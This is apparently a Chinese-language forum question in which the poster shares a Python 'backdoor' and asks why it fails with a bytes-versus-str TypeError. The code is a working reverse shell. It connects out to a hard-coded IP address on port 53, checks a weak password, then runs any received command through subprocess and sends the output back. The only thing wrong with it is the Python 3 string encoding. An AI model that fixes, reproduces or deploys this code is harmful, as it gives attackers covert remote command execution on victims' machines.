我有这个应该是后门的代码,我使用了套接字库和Subprocess,但是代码无法正常工作。我不知道到底是什么问题,而且我也不应该知道输出的结果,如果有人对此进行指导,我将非常感激。
import socket
import subprocess
host = "39.105.144.108" # attack computer
port = 53 #attack port
passwd = "12345"
def login(): #check password
global s
s.send("Login: ")
pwd = s.recv(1024) #store whatever the user is typing in pwd
if pwd.strip() != passwd: #remove spaces
login()
else:
s.send("Connected #> ") #if password correct then execute shell
shell()
def shell():
while True:
data = s.recv(1024) # receive any data the user is typing
if data.strip() == ':kill': #close the program
break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = proc.stdout.read() + proc.stderr.read()
s.send(output)
s.send("#>")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
login()
结果显示:TypeError:需要一个类似字节的对象,而不是'str'
但是我希望代码能在shell上运行。